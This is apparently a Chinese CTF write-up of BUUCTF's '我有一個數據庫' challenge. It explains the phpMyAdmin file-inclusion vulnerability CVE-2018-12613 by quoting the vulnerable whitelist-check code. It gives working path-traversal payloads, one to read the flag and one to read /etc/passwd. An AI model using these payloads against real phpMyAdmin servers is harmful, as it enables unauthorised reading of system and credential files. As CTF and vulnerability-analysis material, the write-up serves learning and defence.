[BUUCTF刷題]我有一個數據庫

我有一個數據庫


cve-2018-12613-PhpMyadmin後臺文件包含


  1. 進去後出現亂碼的文字,掃描目錄發現/phpmyadmin
    在這裏插入圖片描述
  2. 發現其版本爲phpmyadmin4.18,搜索相關版本的漏洞。
  3. 利用poc
    target=db_datadict.php%253f/../../../../../../../../flag
    target=db_datadict.php%3f/../../../../../../../../flag
    target=db_datadict.php?/../../../../../../../../flag
    在這裏插入圖片描述

漏洞分析:

問題在index.php的55~63:

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

這裏對於參數共有5個判斷,判斷通過就可以通過Include包含文件。
前面3個判斷基本可以忽略,後兩個:

$target_blacklist = array (
    'import.php', 'export.php'
);

Core::checkPageValidity($_REQUEST[‘target’]):

代碼在libraries\classes\Core.php的443~476:

    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

這裏驗證白名單:

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

之後phpMyAdmin的開發團隊考慮到了target後面加參數的情況,通過字符串分割將問號的前面部分取出,繼續匹配白名單,然後經過一遍urldecode後再重複動作。
所以這裏我們可以選取白名單裏的任意一個頁面。
構造:

target=db_datadict.php%253f/../../../../../../../../etc/passwd

繞過所有的檢查。
最後在include包含文件時,斜槓前面的部分包括問號會被當作文件名。
ps:如果是linux系統下,就更簡單了,直接通過問號截斷就行了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章